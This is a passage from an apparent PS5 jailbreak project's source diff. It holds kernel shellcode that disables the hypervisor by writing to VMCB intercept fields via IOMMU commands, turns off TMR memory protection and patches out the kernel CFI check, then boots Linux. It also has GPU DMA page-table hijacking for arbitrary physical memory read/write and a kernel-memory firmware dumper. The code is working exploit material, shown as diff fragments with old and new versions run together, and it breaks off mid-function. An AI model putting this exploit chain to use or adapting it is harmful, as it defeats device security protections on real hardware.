while (*((uint64_t *)args_ptr->iommu_mmio_va + IOMMU_MMIO_CB_HEAD / 8) !=
*((uint64_t *)args_ptr->iommu_mmio_va + IOMMU_MMIO_CB_TAIL / 8))
;
}
// Write 8 bytes to a physical address using IOMMU completion wait store
__attribute__((noinline, optimize("O0"))) void
iommu_write8_pa(volatile shellcode_kernel_args *args_ptr, uint64_t pa, uint64_t val) {
uint32_t cmd[4] = {0};
cmd[0] = (uint32_t)(pa & 0xFFFFFFF8) | 0x05;
cmd[1] = ((uint32_t)(pa >> 32) & 0xFFFFF) | 0x10000000;
cmd[2] = (uint32_t)(val);
cmd[3] = (uint32_t)(val >> 32);
iommu_submit_cmd(args_ptr, (uint64_t *)cmd);
}
__attribute__((noinline, optimize("O0"))) void
patch_vmcb(volatile shellcode_kernel_args *args_ptr) {
for (int i = 0; i < 16; i++) {
uint64_t pa = args_ptr->vmcb[i];
// args_ptr->fun_printf("Patching core: %02d VMCB_PA: 0x%016lx\n", i,
// args_ptr->vmcb[i]);
iommu_write8_pa(args_ptr, pa + 0x00,
0x0000000000000000ULL); // Clear all intercepts (R/W) to
// CR0-CR15 and DR0-DR15
iommu_write8_pa(args_ptr, pa + 0x08,
0x0004000000000000ULL); // Clear all intercepts of except.
// vectors but CPUID
iommu_write8_pa(args_ptr, pa + 0x10,
0x000000000000000FULL); // Clear all except VMMCALL, VMLOAD,
// VMSAVE, VMRUN
iommu_write8_pa(args_ptr, pa + 0x58,
0x0000000000000001ULL); // Guest ASID ... 1 ?
iommu_write8_pa(args_ptr, pa + 0x90,
0x0000000000000000ULL); // Disable NP_ENABLE
}
}
__attribute__((noinline, optimize("O0"))) uint32_t tmr_read(uint64_t dmap,
uint32_t addr) {
*(uint32_t *)(dmap + ECAM_B0D18F2 + TMR_INDEX_OFF) = addr;
return *(uint32_t *)(dmap + ECAM_B0D18F2 + TMR_DATA_OFF);
}
__attribute__((noinline, optimize("O0"))) void
tmr_write(uint64_t dmap, uint32_t addr, uint32_t val) {
*(uint32_t *)(dmap + ECAM_B0D18F2 + TMR_INDEX_OFF) = addr;
*(uint32_t *)(dmap + ECAM_B0D18F2 + TMR_DATA_OFF) = val;
}
// On 1.xx and 2.xx the HV is embedded in kernel area on TMR 16
// On 3.xx and 4.xx there are multiple TMR protecting HV and Kernel
__attribute__((noinline, optimize("O0"))) int tmr_disable(uint64_t dmap) {
for (int i = 0; i < 24; i++) {
if (tmr_read(dmap, TMR_CONFIG(i)) != 0) {
tmr_write(dmap, TMR_CONFIG(i), 0);
if (tmr_read(dmap, TMR_CONFIG(i)) != 0) {
return -1;
}
}
}
return 0;
}
void init_global_pointers(volatile shellcode_kernel_args *args_ptr) {
memcpy(&args, (void *)args_ptr, sizeof(args));
printf = (void (*)(const char *, ...)) args.fun_printf;
smp_rendezvous = (void (*)(void (*)(void), void (*)(void),
void (*)(void), void *)) args.fun_smp_rendezvous;
smp_no_rendevous_barrier = (void (*)(void)) args.fun_smp_no_rendevous_barrier;
transmitter_control = (int (*) (int, void*)) args.fun_transmitter_control;
mp3_initialize = (int (*) (int)) args.fun_mp3_initialize;
mp3_invoke = (int (*) (int, void*, void*)) args.fun_mp3_invoke;
g_vbios = args.g_vbios;
}
#include "main.h"
#include "boot_linux.h"
#include "hv_defeat_0304.h"
#include "utils.h"
#include <stddef.h>
shellcode_kernel_args args = {0};
// We are being called instead of AcpiSetFirmwareWakingVector
__attribute__((section(".entry_point"))) uint32_t main(uint64_t add1,
uint64_t add2) {
// We will do main checks on .text only with a reference to .data
volatile shellcode_kernel_args *args_ptr =
(volatile shellcode_kernel_args
*)0x11AA11AA11AA11AA; // To be replaced with proper address in .kdata
// "Hide" the pointer from the optimizer
__asm__ volatile("" : "+r"(args_ptr));
// We don't have required information - Abort
if ((args_ptr->fun_printf & 0xFFFF) == 0) {
return -1;
}
activate_uart(args_ptr);
if ((0x0300 <= args_ptr->fw_version) && (args_ptr->fw_version < 0x0500)) {
if (hv_defeat_0304(args_ptr))
return -1;
} else if ((0x0500 <= args_ptr->fw_version) &&
(args_ptr->fw_version < 0x0650)) {
// Already escaped.
} else {
return 0;
}
// Now we can R/W on .text
init_global_pointers(args_ptr);
// Disable CFI to allow smp_rendezvous.
*(uint8_t *)args_ptr->kernel_cfi_check = 0xC3;
boot_linux();
printf("Linux prepared OK\n");
printf("Good Bye VM :)\n");
smp_rendezvous(smp_no_rendevous_barrier, vmmcall_dummy,
smp_no_rendevous_barrier, NULL);
printf("We shouldn't be here :(\n");
return 0;
}

View File

@@ -1,65 +1,12 @@
#ifndef MAIN_H
#define MAIN_H
#include "shellcode_kernel_args.h"
#include <stdint.h>
void (*printf)(const char *format, ...);
uint32_t (*AcpiSetFirmwareWakingVector)(uint64_t PhysicalAddress,
uint64_t PhysicalAddress64);
uint64_t (*kernel_va_to_pa)(uint64_t va);
uint32_t (*hv_iommu_set_buffers)(uint64_t cb2_pa, uint64_t cb3_pa,
uint64_t eb_pa, uint64_t unk, int *n_devices);
uint32_t (*hv_iommu_wait_completion)(void);
void (*smp_rendezvous)(void (*setup_func)(void), void (*action_func)(void),
void (*teardown_func)(void), void *arg);
void (*smp_no_rendevous_barrier)(void);
// We are being called instead of AcpiSetFirmwareWakingVector from
// acpi_wakeup_machdep
uint32_t main(uint64_t add1, uint64_t add2);
uint64_t rdmsr(uint32_t msr);
// tmr via ecam b0d18f2
#ifndef ECAM_B0D18F2
#define ECAM_B0D18F2 (0xF0000000ULL + 0x18ULL * 0x8000 + 2 * 0x1000)
#define TMR_INDEX_OFF 0x80
#define TMR_DATA_OFF 0x84
#endif
// tmr layout (hardware)
#define TMR_BASE(n) ((n) * 0x10 + 0x00)
#define TMR_LIMIT(n) ((n) * 0x10 + 0x04)
#define TMR_CONFIG(n) ((n) * 0x10 + 0x08)
#define TMR_REQUESTORS(n) ((n) * 0x10 + 0x0C)
#define TMR_CFG_PERMISSIVE 0x3F07
#define MAX_TMR 22
#define MAX_SAVED_TMRS 8
uint32_t tmr_read(uint64_t dmap, uint32_t addr);
void tmr_write(uint64_t dmap, uint32_t addr, uint32_t val);
int tmr_disable(uint64_t dmap);
// Command buffer MMIO offsets
#define IOMMU_MMIO_CB_HEAD 0xa000
#define IOMMU_MMIO_CB_TAIL 0xa008
// Queue constants
#define IOMMU_CB_SIZE 0x2000
#define IOMMU_CB_MASK (IOMMU_CB_SIZE - 1)
#define IOMMU_CMD_ENTRY_SIZE 0x10
// Submit a single 16-byte command and wait for completion
void iommu_submit_cmd(volatile shellcode_kernel_args *args_ptr, uint64_t *cmd);
// Write 8 bytes to a physical address using IOMMU completion wait store
void iommu_write8_pa(volatile shellcode_kernel_args *args_ptr, uint64_t pa,
uint64_t val);
void patch_vmcb(volatile shellcode_kernel_args *args_ptr);
#define NULL (void *)0
void vmmcall_dummy(void);
void halt(void);
void init_global_pointers(volatile shellcode_kernel_args *args_ptr);
#endif
#ifndef MAIN_H
#define MAIN_H
#include "shellcode_kernel_args.h"
void (*printf)(const char *format, ...);
void (*smp_rendezvous)(void (*setup_func)(void *), void (*action_func)(void *),
void (*teardown_func)(void *), void *arg);
void (*smp_no_rendevous_barrier)(void *);
uint32_t main(uint64_t add1, uint64_t add2);
#endif

View File

@@ -1,37 +1,31 @@
// This file is shared between main payload and kernel shellcode
#ifndef SHELLCODE_KERNEL_ARGS_H
#define SHELLCODE_KERNEL_ARGS_H
#include <stdint.h>
typedef struct {
uint32_t fw_version;
uint64_t ktext;
uint64_t kdata;
uint64_t dmap_base;
uint64_t fun_printf;
uint64_t fun_va_to_pa;
uint64_t fun_hv_iommu_set_buffers;
uint64_t fun_hv_iommu_wait_completion;
uint64_t fun_acpi_set_fw_waking_vector;
uint64_t fun_smp_rendezvous;
uint64_t fun_smp_no_rendevous_barrier;
uint64_t fun_transmitter_control;
uint64_t fun_mp3_initialize;
uint64_t fun_mp3_invoke;
uint64_t g_vbios;
uint64_t iommu_mmio_va;
uint64_t iommu_cb2_va;
uint64_t iommu_cb3_va;
uint64_t iommu_eb_va;
uint64_t vmcb[16];
uint64_t kernel_uart_override;
uint64_t hv_handle_vmexit_pa;
uint64_t hv_code_cave_pa;
uint64_t hv_uart_override_pa;
uint64_t linux_info_va; // To relocate by kernel shellcode
} shellcode_kernel_args;
extern shellcode_kernel_args args; // Declared on main.c
#endif
// This file is shared between main payload and kernel shellcode
#ifndef SHELLCODE_KERNEL_ARGS_H
#define SHELLCODE_KERNEL_ARGS_H
#include <stdint.h>
typedef struct {
uint16_t fw_version;
uint64_t ktext;
uint64_t kdata;
uint64_t dmap_base;
uint64_t fun_printf;
uint64_t fun_hv_iommu_set_buffers;
uint64_t fun_hv_iommu_wait_completion;
uint64_t fun_smp_rendezvous;
uint64_t fun_smp_no_rendevous_barrier;
uint64_t fun_transmitter_control;
uint64_t fun_mp3_initialize;
uint64_t fun_mp3_invoke;
uint64_t g_vbios;
uint64_t iommu_softc;
uint64_t kernel_uart_override;
uint64_t kernel_cfi_check;
uint64_t hv_handle_vmexit_pa;
uint64_t hv_code_cave_pa;
uint64_t linux_info_va; // To relocate by kernel shellcode
} shellcode_kernel_args;
extern shellcode_kernel_args args; // Declared on main.c
#endif

View File

@@ -1,77 +1,124 @@
#include "utils.h"
#include "shellcode_kernel_args.h"
extern shellcode_kernel_args args;
uint64_t PHYS_TO_DMAP(uint64_t pa) { return args.dmap_base + pa; }
void memcpy(void *dest, void *src, uint64_t len) {
uint8_t *d = (uint8_t *)dest;
const uint8_t *s = (const uint8_t *)src;
for (uint64_t i = 0; i < len; i++) {
d[i] = s[i];
}
}
uint64_t read_cr3(void) {
uint64_t cr3;
__asm__ volatile("mov %%cr3, %0"
: "=r"(cr3) // Output: move CR3 into the variable 'cr3'
: // No inputs
: // No clobbered registers
);
return cr3;
}
// for ring0
uint64_t va_to_pa_kernel(uint64_t va) {
uint64_t cr3 = read_cr3();
return va_to_pa_custom(va, cr3);
}
// Source: PS5_kldload
uint64_t va_to_pa_custom(uint64_t va, uint64_t cr3_custom) {
uint64_t table_phys = cr3_custom & 0xFFFFFFFF;
for (int level = 0; level < 4; level++) {
int shift = 39 - (level * 9);
uint64_t idx = (va >> shift) & 0x1FF;
uint64_t entry;
uint64_t entry_va = PHYS_TO_DMAP(PAGE_PA(table_phys) + idx * 8);
entry = *(uint64_t *)entry_va;
if (!PAGE_P(entry))
return 0;
if ((level == 1 || level == 2) && PAGE_PS(entry)) {
uint64_t page_size = P_SIZE(level);
return PAGE_PA(entry) | (va & (page_size - 1));
}
if (level == 3)
return PAGE_PA(entry) | (va & 0xFFF);
table_phys = PAGE_PA(entry);
}
return 0;
}
__attribute__((noinline, optimize("O0"))) uint32_t putc_uart(uint64_t dmap,
uint8_t tx_byte) {
volatile uint32_t *uart_tx = (uint32_t *) (dmap + 0xc1010104ULL);
volatile uint32_t *uart_busy = (uint32_t *) (dmap + 0xc101010cULL);
uint64_t timeout = 0xFFFFFFFF;
do {
timeout--;
if (timeout == 0)
break;
} while (((*uart_busy) & 0x20) == 0);
if (timeout == 0)
return -1;
*uart_tx = (uint32_t)tx_byte & 0xFF;
return 0;
}
#include "utils.h"
#include "shellcode_kernel_args.h"
#include <cpuid.h>
extern shellcode_kernel_args args;
uint64_t PHYS_TO_DMAP(uint64_t pa) { return args.dmap_base + pa; }
void memcpy(void *dest, void *src, uint64_t len) {
uint8_t *d = (uint8_t *)dest;
const uint8_t *s = (const uint8_t *)src;
for (uint64_t i = 0; i < len; i++) {
d[i] = s[i];
}
}
uint64_t read_cr3(void) {
uint64_t cr3;
__asm__ volatile("mov %%cr3, %0" : "=r"(cr3) : :);
return cr3;
}
uint64_t vtophys(uint64_t dmap, uint64_t va) {
uint64_t cr3 = read_cr3();
return vtophys_custom(dmap, va, cr3);
}
uint64_t vtophys_custom(uint64_t dmap, uint64_t va, uint64_t cr3_custom) {
uint64_t table_phys = cr3_custom & 0xFFFFFFFF;
for (int level = 0; level < 4; level++) {
int shift = 39 - (level * 9);
uint64_t idx = (va >> shift) & 0x1FF;
uint64_t entry;
uint64_t entry_va = dmap + PAGE_PA(table_phys) + idx * 8;
entry = *(uint64_t *)entry_va;
if (!PAGE_P(entry))
return 0;
if ((level == 1 || level == 2) && PAGE_PS(entry)) {
uint64_t page_size = P_SIZE(level);
return PAGE_PA(entry) | (va & (page_size - 1));
}
if (level == 3)
return PAGE_PA(entry) | (va & 0xFFF);
table_phys = PAGE_PA(entry);
}
return 0;
}
uint32_t putc_uart(uint64_t dmap, uint8_t tx_byte) {
volatile uint32_t *uart_tx = (uint32_t *)(dmap + 0xc1010104ULL);
volatile uint32_t *uart_busy = (uint32_t *)(dmap + 0xc101010cULL);
uint64_t timeout = 0xFFFFFFFF;
do {
timeout--;
if (timeout == 0)
break;
} while (((*uart_busy) & 0x20) == 0);
if (timeout == 0)
return -1;
*uart_tx = (uint32_t)tx_byte & 0xFF;
return 0;
}
int puts_uart(uint64_t dmap, const uint8_t *msg) {
uint32_t max = 255;
int ret = 0;
for (int i = 0; i < 255; i++) {
if (msg[i] == '\0') {
break;
}
if (msg[i] == '\n') {
putc_uart(dmap, '\r');
}
ret = putc_uart(dmap, msg[i]);
}
return ret;
}
void activate_uart(volatile shellcode_kernel_args *args_ptr) {
uint32_t *uart_va = (uint32_t *)(args_ptr->dmap_base + 0xC0115110ULL);
*uart_va &= ~0x200;
uint32_t *override_char_va = (uint32_t *)args_ptr->kernel_uart_override;
*override_char_va = 0x0;
}
void halt(void) { __asm__ __volatile__("hlt"); }
void init_global_pointers(volatile shellcode_kernel_args *args_ptr) {
memcpy(&args, (void *)args_ptr, sizeof(args));
printf = (void (*)(const char *, ...))args.fun_printf;
smp_rendezvous = (void (*)(void (*)(void *), void (*)(void *),
void (*)(void *), void *))args.fun_smp_rendezvous;
smp_no_rendevous_barrier =
(void (*)(void *))args.fun_smp_no_rendevous_barrier;
transmitter_control = (int (*)(int, void *))args.fun_transmitter_control;
mp3_initialize = (int (*)(int))args.fun_mp3_initialize;
mp3_invoke = (int (*)(int, void *, void *))args.fun_mp3_invoke;
g_vbios = args.g_vbios;
}
uint8_t get_cpu(void) {
uint32_t eax, ebx, ecx, edx;
__get_cpuid(1, &eax, &ebx, &ecx, &edx);
uint8_t cpu_id = (ebx >> 24) & 0xFF;
return cpu_id;
}
void vmmcall_dummy(void *) {
__asm__ volatile("mov $0x1, %rax \n"
"vmmcall \n"
"ret \n");
}

View File

@@ -1,43 +1,57 @@
#ifndef UTILS_H
#define UTILS_H
#include "shellcode_kernel_args.h"
#include <stdint.h>
extern void (*printf)(const char *format, ...);
uint64_t PHYS_TO_DMAP(uint64_t pa);
void memcpy(void *dest, void *src, uint64_t len);
// Defines for Page management
enum page_bits {
P = 0,
RW,
US,
PWT,
PCD,
A,
D,
PS,
G,
XO = 58,
PK = 59,
NX = 63
};
#define PG_B_P (1ULL << P)
#define PG_B_RW (1ULL << RW)
#define PAGE_P(x) (x & (1ULL << P))
#define PAGE_RW(x) (x & (1ULL << RW))
#define PAGE_PS(x) (x & (1ULL << PS))
#define PAGE_XO(x) (x & (1ULL << XO))
#define PAGE_CLEAR_XO(x) (x &= ~(1ULL << XO))
#define PAGE_CLEAR_G(x) (x &= ~(1ULL << G))
#define PAGE_SET_RW(x) (x |= (1ULL << RW))
#define PAGE_PA(x) (x & 0x000FFFFFFFFFF000ULL)
#define P_SIZE(l) ((l == 1) ? (1ULL << 30) : (1ULL << 21))
uint64_t read_cr3(void);
uint64_t va_to_pa_kernel(uint64_t va);
uint64_t va_to_pa_custom(uint64_t va, uint64_t cr3_custom);
uint32_t putc_uart(uint64_t dmap, uint8_t tx_byte);
#endif
#ifndef UTILS_H
#define UTILS_H
#include "boot_linux.h"
#include "shellcode_kernel_args.h"
extern void (*printf)(const char *format, ...);
extern void (*smp_rendezvous)(void (*setup_func)(void *),
void (*action_func)(void *),
void (*teardown_func)(void *), void *arg);
extern void (*smp_no_rendevous_barrier)(void *);
extern int (*transmitter_control)(int cmd, void *control);
extern int (*mp3_initialize)(int vmid);
extern int (*mp3_invoke)(int cmd_id, void *req, void *rsp);
extern uint64_t g_vbios;
// Defines for Page management
enum page_bits {
P = 0,
RW,
US,
PWT,
PCD,
A,
D,
PS,
G,
XO = 58,
PK = 59,
NX = 63
};
#define PG_B_P (1ULL << P)
#define PG_B_RW (1ULL << RW)
#define PAGE_P(x) (x & (1ULL << P))
#define PAGE_RW(x) (x & (1ULL << RW))
#define PAGE_PS(x) (x & (1ULL << PS))
#define PAGE_XO(x) (x & (1ULL << XO))
#define PAGE_CLEAR_XO(x) (x &= ~(1ULL << XO))
#define PAGE_CLEAR_G(x) (x &= ~(1ULL << G))
#define PAGE_SET_RW(x) (x |= (1ULL << RW))
#define PAGE_PA(x) (x & 0x000FFFFFFFFFF000ULL)
#define P_SIZE(l) ((l == 1) ? (1ULL << 30) : (1ULL << 21))
uint64_t read_cr3(void);
uint64_t vtophys(uint64_t dmap, uint64_t va);
uint64_t vtophys_custom(uint64_t dmap, uint64_t va, uint64_t cr3_custom);
uint64_t PHYS_TO_DMAP(uint64_t pa);
void memcpy(void *dest, void *src, uint64_t len);
uint32_t putc_uart(uint64_t dmap, uint8_t tx_byte);
int puts_uart(uint64_t dmap, const uint8_t *msg);
void activate_uart(volatile shellcode_kernel_args *args_ptr);
void halt(void);
void init_global_pointers(volatile shellcode_kernel_args *args_ptr);
uint8_t get_cpu(void);
void vmmcall_dummy(void *);
#endif

142
source/firmware.c Normal file
View File

@@ -0,0 +1,142 @@
#include "firmware.h"
#include "utils.h"
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <sys/stat.h>
#define PS5_WIFI_FW_BOOT_PATH "lib/nxp/pcieuartiw620_combo_v1.bin"
static size_t ps5_wifi_firmware_size(void) {
return (size_t)env_offset.PS5_WIFI_FW_SIZE;
}
static uint64_t ps5_wifi_firmware_va(void) {
return get_offset_va(env_offset.PS5_WIFI_FW_OFFSET);
}
static int write_all(int fd, const void *buf, size_t len) {
size_t written = 0;
while (written < len) {
ssize_t ret = write(fd, (const uint8_t *)buf + written, len - written);
if (ret < 0)
return -1;
if (ret == 0)
return -1;
written += (size_t)ret;
}
return 0;
}
static int mkdir_if_needed(const char *path) {
struct stat st;
if (mkdir(path, 0777) == 0)
return 0;
if (errno != EEXIST)
return -1;
if (stat(path, &st) < 0)
return -1;
return S_ISDIR(st.st_mode) ? 0 : -1;
}
static int build_firmware_path(const char *boot_file_path, char *boot_dir,
size_t boot_dir_size, char *fw_path,
size_t fw_path_size) {
const char *slash = strrchr(boot_file_path, '/');
int ret;
if (slash == NULL)
return -1;
ret = snprintf(boot_dir, boot_dir_size, "%.*s", (int)(slash - boot_file_path),
boot_file_path);
if (ret < 0 || (size_t)ret >= boot_dir_size)
return -1;
ret =
snprintf(fw_path, fw_path_size, "%s/%s", boot_dir, PS5_WIFI_FW_BOOT_PATH);
if (ret < 0 || (size_t)ret >= fw_path_size)
return -1;
return 0;
}
static int create_firmware_dirs(const char *boot_dir) {
char path[512];
int ret;
ret = snprintf(path, sizeof(path), "%s/lib", boot_dir);
if (ret < 0 || (size_t)ret >= sizeof(path))
return -1;
if (mkdir_if_needed(path) < 0)
return -1;
ret = snprintf(path, sizeof(path), "%s/lib/nxp", boot_dir);
if (ret < 0 || (size_t)ret >= sizeof(path))
return -1;
if (mkdir_if_needed(path) < 0)
return -1;
return 0;
}
static int dump_ps5_wifi_firmware(const char *boot_file_path) {
char boot_dir[512];
char fw_path[512];
uint8_t buf[0x4000];
uint64_t fw_va;
size_t fw_size;
int fd;
if (env_offset.PS5_WIFI_FW_OFFSET == 0 || env_offset.PS5_WIFI_FW_SIZE == 0) {
notify("PS5 WiFi firmware offset missing for firmware %04x\n", fw);
return -1;
}
if (build_firmware_path(boot_file_path, boot_dir, sizeof(boot_dir), fw_path,
sizeof(fw_path)) < 0) {
notify("PS5 WiFi firmware dump path is too long\n");
return -1;
}
if (create_firmware_dirs(boot_dir) < 0) {
notify("Could not create PS5 WiFi firmware directory under %s\n", boot_dir);
return -1;
}
fd = open(fw_path, O_WRONLY | O_CREAT | O_TRUNC, 0644);
if (fd < 0) {
notify("Could not create PS5 WiFi firmware file %s\n", fw_path);
return -1;
}
fw_va = ps5_wifi_firmware_va();
fw_size = ps5_wifi_firmware_size();
for (size_t copied = 0; copied < fw_size; copied += sizeof(buf)) {
size_t chunk = fw_size - copied;
if (chunk > sizeof(buf))
chunk = sizeof(buf);
kread(fw_va + copied, buf, chunk);
if (write_all(fd, buf, chunk) < 0) {
close(fd);
notify("Could not write PS5 WiFi firmware file %s\n", fw_path);
return -1;
}
}
close(fd);
notify("Dumped PS5 WiFi firmware to %s (%llu bytes)\n", fw_path,
(unsigned long long)fw_size);
return 0;
}
int dump_device_firmwares(const char *boot_file_path) {
return dump_ps5_wifi_firmware(boot_file_path);
}

View File

@@ -1,495 +1,495 @@
#include "gpu.h"
#include "utils.h"
#include <fcntl.h>
#include <ps5/kernel.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <unistd.h>
int sceKernelAllocateMainDirectMemory(size_t size, size_t alignment,
int mem_type, uint64_t *phys_out);
int sceKernelMapNamedDirectMemory(void **va_out, size_t size, int prot,
int flags, uint64_t phys, size_t alignment,
const char *name);
int sceKernelSleep(int secs);
static struct gpu_ctx s_gpu = {0};
static struct gpu_kernel_offsets s_gpu_offsets = {0};
static int s_offsets_set = 0;
struct gpu_ctx *gpu_get_ctx(void) { return &s_gpu; }
void gpu_set_offsets(struct gpu_kernel_offsets *offsets) {
memcpy(&s_gpu_offsets, offsets, sizeof(s_gpu_offsets));
s_offsets_set = 1;
}
static uint64_t gpu_pde_field(uint64_t pde, int shift, uint64_t mask) {
return (pde >> shift) & mask;
}
static int gpu_get_vmid(void) {
uint64_t curproc = kernel_get_proc(getpid());
uint64_t vmspace;
uint32_t vmid;
kernel_copyout(curproc + s_gpu_offsets.proc_vmspace, &vmspace,
sizeof(vmspace));
kernel_copyout(vmspace + s_gpu_offsets.vmspace_vm_vmid, &vmid, sizeof(vmid));
return (int)vmid;
}
static uint64_t gpu_get_pdb2_addr(int vmid) {
uint64_t gvmspace = KERNEL_ADDRESS_DATA_BASE +
s_gpu_offsets.data_base_gvmspace +
(uint64_t)vmid * s_gpu_offsets.sizeof_gvmspace;
uint64_t pdb2_va;
kernel_copyout(gvmspace + s_gpu_offsets.gvmspace_page_dir_va, &pdb2_va,
sizeof(pdb2_va));
return pdb2_va;
}
static uint64_t gpu_get_relative_va(int vmid, uint64_t va) {
uint64_t gvmspace = KERNEL_ADDRESS_DATA_BASE +
s_gpu_offsets.data_base_gvmspace +
(uint64_t)vmid * s_gpu_offsets.sizeof_gvmspace;
uint64_t start_va, size;
kernel_copyout(gvmspace + s_gpu_offsets.gvmspace_start_va, &start_va,
sizeof(start_va));
kernel_copyout(gvmspace + s_gpu_offsets.gvmspace_size, &size, sizeof(size));
if (va >= start_va && va < start_va + size)
return va - start_va;
return (uint64_t)-1;
}
static uint64_t gpu_walk_pt(int vmid, uint64_t gpu_va,
uint64_t *out_page_size) {
uint64_t pdb2_addr = gpu_get_pdb2_addr(vmid);
uint64_t pml4e_idx = (gpu_va >> 39) & 0x1FF;
uint64_t pdpe_idx = (gpu_va >> 30) & 0x1FF;
uint64_t pde_idx = (gpu_va >> 21) & 0x1FF;
// PDB2 (PML4 equivalent)
uint64_t pml4e;
kernel_copyout(pdb2_addr + pml4e_idx * 8, &pml4e, sizeof(pml4e));
if (gpu_pde_field(pml4e, GPU_PDE_VALID_BIT, 1) != 1)
return 0;
// PDB1 (PDPT equivalent)
uint64_t pdp_pa = pml4e & GPU_PDE_ADDR_MASK;
uint64_t pdpe_va = dmap + pdp_pa + pdpe_idx * 8;
uint64_t pdpe;
kernel_copyout(pdpe_va, &pdpe, sizeof(pdpe));
if (gpu_pde_field(pdpe, GPU_PDE_VALID_BIT, 1) != 1)
return 0;
// PDB0 (PD equivalent)
uint64_t pd_pa = pdpe & GPU_PDE_ADDR_MASK;
uint64_t pde_va = dmap + pd_pa + pde_idx * 8;
uint64_t pde;
kernel_copyout(pde_va, &pde, sizeof(pde));
if (gpu_pde_field(pde, GPU_PDE_VALID_BIT, 1) != 1)
return 0;
// If IS_PTE bit set, this is a 2MB leaf
if (gpu_pde_field(pde, GPU_PDE_IS_PTE_BIT, 1) == 1) {
*out_page_size = 0x200000;
return pde_va;
}
// PTB (page table block)
uint64_t frag_size = gpu_pde_field(pde, GPU_PDE_BLOCK_FRAG_BIT, 0x1F);
uint64_t offset = gpu_va & 0x1FFFFF;
uint64_t pt_pa = pde & GPU_PDE_ADDR_MASK;
uint64_t pte_idx, pte_va;
if (frag_size == 4) {
pte_idx = offset >> 16;
pte_va = dmap + pt_pa + pte_idx * 8;
uint64_t pte;
kernel_copyout(pte_va, &pte, sizeof(pte));
if (gpu_pde_field(pte, GPU_PDE_VALID_BIT, 1) == 1 &&
gpu_pde_field(pte, GPU_PDE_TF_BIT, 1) == 1) {
pte_idx = (gpu_va & 0xFFFF) >> 13;
pte_va = dmap + pt_pa + pte_idx * 8;
*out_page_size = 0x2000; // 8KB
} else {
*out_page_size = 0x10000; // 64KB
}
} else if (frag_size == 1) {
pte_idx = offset >> 13;
pte_va = dmap + pt_pa + pte_idx * 8;
*out_page_size = 0x2000; // 8KB
} else {
// Unknown fragment size - use 64KB as default
pte_idx = offset >> 16;
pte_va = dmap + pt_pa + pte_idx * 8;
*out_page_size = 0x10000;
}
return pte_va;
}
static uint64_t gpu_alloc_dmem(uint64_t size, int gpu_write) {
uint64_t phys_out = 0;
void *va_out = NULL;
int prot = PROT_READ | PROT_WRITE | PROT_GPU_READ;
if (gpu_write)
prot |= PROT_GPU_WRITE;
int ret = sceKernelAllocateMainDirectMemory(size, size, 1, &phys_out);
if (ret != 0) {
printf("[gpu] sceKernelAllocateMainDirectMemory failed: 0x%d\n", ret);
return 0;
}
ret = sceKernelMapNamedDirectMemory(&va_out, size, prot, MAP_NO_COALESCE,
phys_out, size, "gpudma");
if (ret != 0) {
printf("[gpu] sceKernelMapNamedDirectMemory failed: 0x%d\n", ret);
return 0;
}
return (uint64_t)va_out;
}
static uint32_t pm4_type3_header(uint32_t opcode, uint32_t count) {
return ((PM4_TYPE3 & 0x3) << 30) | (((count - 1) & 0x3FFF) << 16) |
((opcode & 0xFF) << 8) | ((PM4_SHADER_COMPUTE & 0x1) << 1);
}
static int pm4_build_dma_data(void *buf, uint64_t dst_va, uint64_t src_va,
uint32_t length) {
uint32_t *pkt = (uint32_t *)buf;
uint32_t count = 6;
uint32_t dma_hdr = (1u << 31) // cp_sync
| (2u << 25) // dst_cache_policy
| (1u << 27) // dst_volatile
| (2u << 13) // src_cache_policy
| (1u << 15); // src_volatile
pkt[0] = pm4_type3_header(PM4_OPCODE_DMA_DATA, count);
pkt[1] = dma_hdr;
pkt[2] = (uint32_t)(src_va & 0xFFFFFFFF);
pkt[3] = (uint32_t)(src_va >> 32);
pkt[4] = (uint32_t)(dst_va & 0xFFFFFFFF);
pkt[5] = (uint32_t)(dst_va >> 32);
pkt[6] = length & 0x1FFFFF;
return 7 * sizeof(uint32_t);
}
static void gpu_build_cmd_descriptor(void *desc, uint64_t gpu_addr,
uint32_t size_bytes) {
uint64_t *d = (uint64_t *)desc;
uint32_t size_dwords = size_bytes >> 2;
d[0] = ((gpu_addr & 0xFFFFFFFFULL) << 32) | 0xC0023F00ULL;
d[1] =
(((uint64_t)size_dwords & 0xFFFFF) << 32) | ((gpu_addr >> 32) & 0xFFFF);
}
static int gpu_submit_commands(int fd, uint32_t pipe_id, uint32_t cmd_count,
uint64_t descriptors_ptr) {
struct {
uint32_t pipe_id;
uint32_t count;
uint64_t cmd_buf_ptr;
} submit;
submit.pipe_id = pipe_id;
submit.count = cmd_count;
submit.cmd_buf_ptr = descriptors_ptr;
return ioctl(fd, GPU_SUBMIT_IOCTL, &submit);
}
static int gpu_transfer_physical(uint64_t phys_addr, void *local_buf,
uint32_t size, int is_write) {
if (!s_gpu.initialized)
return -1;
uint64_t aligned_pa = phys_addr & ~(s_gpu.dmem_size - 1);
uint64_t offset = phys_addr - aligned_pa;
if (offset + size > s_gpu.dmem_size) {
printf("[gpu] transfer exceeds dmem_size\n");
return -1;
}
int prot_ro = PROT_READ | PROT_WRITE | PROT_GPU_READ;
int prot_rw = prot_ro | PROT_GPU_WRITE;
mprotect((void *)s_gpu.victim_va, s_gpu.dmem_size, prot_ro);
uint64_t new_ptbe = s_gpu.cleared_ptbe | aligned_pa;
kernel_setlong(s_gpu.victim_ptbe_va, new_ptbe);
mprotect((void *)s_gpu.victim_va, s_gpu.dmem_size, prot_rw);
uint64_t src, dst;
if (is_write) {
memcpy((void *)s_gpu.transfer_va, local_buf, size);
src = s_gpu.transfer_va;
dst = s_gpu.victim_va + offset;
} else {
src = s_gpu.victim_va + offset;
dst = s_gpu.transfer_va;
}
int cmd_size = pm4_build_dma_data((void *)s_gpu.cmd_va, dst, src, size);
uint8_t desc[16];
gpu_build_cmd_descriptor(desc, s_gpu.cmd_va, cmd_size);
uint64_t desc_va = s_gpu.cmd_va + 0x1000;
memcpy((void *)desc_va, desc, 16);
int ret = gpu_submit_commands(s_gpu.fd, 0, 1, desc_va);
if (ret != 0) {
printf("[gpu] ioctl submit failed: %d\n", ret);
return -1;
}
// Wait for GPU DMA completion
// TODO: proper fence/signal wait
usleep(100000);
if (!is_write) {
memcpy(local_buf, (void *)s_gpu.transfer_va, size);
}
// Restore victim PTE to original physical address
uint64_t orig_ptbe = s_gpu.cleared_ptbe | s_gpu.victim_real_pa;
